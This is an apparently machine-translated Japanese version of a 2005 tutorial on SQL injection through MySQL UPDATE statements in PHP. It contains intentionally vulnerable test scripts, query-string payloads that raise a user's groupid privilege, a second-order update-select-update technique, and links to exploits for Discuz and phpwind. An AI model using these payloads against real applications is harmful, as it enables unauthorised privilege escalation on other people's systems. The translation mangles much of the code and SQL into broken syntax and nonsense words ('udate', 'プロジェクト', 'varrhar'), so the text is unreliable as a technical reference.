UPDATE注射(mysql+php)の二つのモード
文/安全天使・スーパーハーイ 2005.8.11
一.試験環境:
OS: Windowsxp sp 2
php: php 4.3.10 (
mysql 4.1.9
apache 1.3.33
二.データベース構造をテストします。
-----start---
-- データベース: `test`
--
-- --------------------------------------------------------
--
-- テーブルの構造 `userinfo`
--
CREATE TABLE `userinfo` (
`グループアップ` varrhar(12) NOT NULL default '1'
`user` varrhar(12) NOT NULL default 'ヘige
`パス` varrhar(122) NOT NULL default '123456
) ENGINE=MyISAM DEFAULT CHARSET=latin 1
--
-- 表のデータをエクスポート `userinfo`
--
INSERT INTO `userinfo` VALES ('2' 'ヘige '123456
--------end----
三.テストモード:
1,変数には'''や'''が付いていません。
<?php
//test 1.php Mod 1
$servername = "local host";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。
$s ql = "udate userinfo セット パス=$p where user=''heige'''//<-->Pはシングルクォーテーションを使用していません。
$レスリング = mysqldb_query($dbname) $sql;
$userinfo = mysqlfetcharray($result)
echo "
SQL Query:$sql
";
?
スクリプトはuser='heige'のパスを修正するだけです。groudidがユーザーの権限レベルを表しているなら、私たちの目的は$pを作成することです。 来達
groupidを変更する目的:
提出します。http://127.0.0.1/test1.php?p=123456を選択します。groudid=1
mysqlで調べます
mysql> プロジェクト * from userinfo;
+----------------------++
𞓜 グループ | user | パス |
+----------------------++
𞓜 1 | ヘige | 123456 |
+----------------------++
1 row in セット (0.01 sec
ユーザーのheigeのgroudidはまた2を1に変えました。 :)
だから私たちはない'または'を得ることができます。 udateの注射は成功します。これが私達のモードです。
2,変数バンド'''または'""MOD 2'
<?php
//test 2.php
$servername = "local host";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。
$s ql = "udate userinfo セット パス='$p' where user=''heige'''//<-->Pはシングルクォーテーションを使用します
$レスリング = mysqldb_query($dbname) $sql;
$userinfo = mysqlfetcharray($result)
echo "
SQL Query:$sql
";
?
私たちの構造を閉じるためには$pは123456'であるべきです。groudid='2 送信:
http://127.0.0.1/test2.php?p=123456',groudid='1 gpc=onの場合は'が\'になりました。
提出された文はSQLになります。 Query:udate userinfo セット pass='123456\',groudid=\'1' where user='heige'
mysqlクエリ:
mysql> プロジェクト * from userinfo;
+----------------------------++
𞓜 グループ | user | パス |
+----------------------------++
𞓜 2 | ヘige | 123456',groudid='1 |
+----------------------------++
1 row in セット (0.00 sec
groudidは修正されていません。では、変数が'''または''によって変更された場合 全く注射されていませんか?いいえ 以下はモード2を見ます。
<?php
//test 3.php Mod 2
$servername = "local host";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
mysqlconnect($servername、$dbusername、$dbpassword) or die ("データベース接続に失敗しました。
$s ql = "udate userinfo セット パス='$p' where user=''heige'''//<-->Pはシングルクォーテーションを使用します
$レスリング = mysqldb_query($dbname) $sql;
mysqlfetcharray($result) //$pのデータをデータベースに書き込む
$sql= "プロジェクト パス from userinfo where user='heige''
$レスリング = mysqldb_query($dbname) $sql;
$userinfo=mysql_fetcharray($result)
echo $userinfo[0]; //パスクエリを$userinfo[0]に出力します。
$s ql ="udate userinfo セット パス='USerinfo[0]' where user='heige''
$レスリング = mysqldb_query($dbname) $sql;
mysqlfetcharray($result) //アメリカを[0] もう一度udate
?
テストして提出します。http://127.0.0.1/test3.php?p=123456',groudid='1
mysqlに戻って調べてみます :
mysql> プロジェクト * from userinfo;
+----------------------++
𞓜 グループ | user | パス |
+----------------------++
𞓜 1 | ヘige | 123456 |
+----------------------++
1 row in セット (0.00 sec
Ha~ 注射に成功する グループを1に変更します。 これは私達のモード2です。簡単な説明は以下の通りです。
udate->select->udate
四.実際モード
モード1:Discuz 2.0/2.2 レジスター.php 注射する
脆弱性分析:http://4ngel.net/article/41.htm
Discuz 2.0/2.2 レジスター.php Remote Exploid :http://4ngel.net/project/discuz_reg.httm
モード2:phpwind 2.0.2と3.31 e 権限アップホール
脆弱性分析:
udate (profile.php 注射変数は$proiconです。 udate文には、icon=''USerdb[icon]'があります。
v
プロジェクト (jop.php)
v
udtate (jop.php)
Exploid:http://www.huij.net/9xiao/up/phpwind-exploit.exe
五.ありがとうございます
特にsaiyなどの友達の討論と助けに感謝します。Thanks!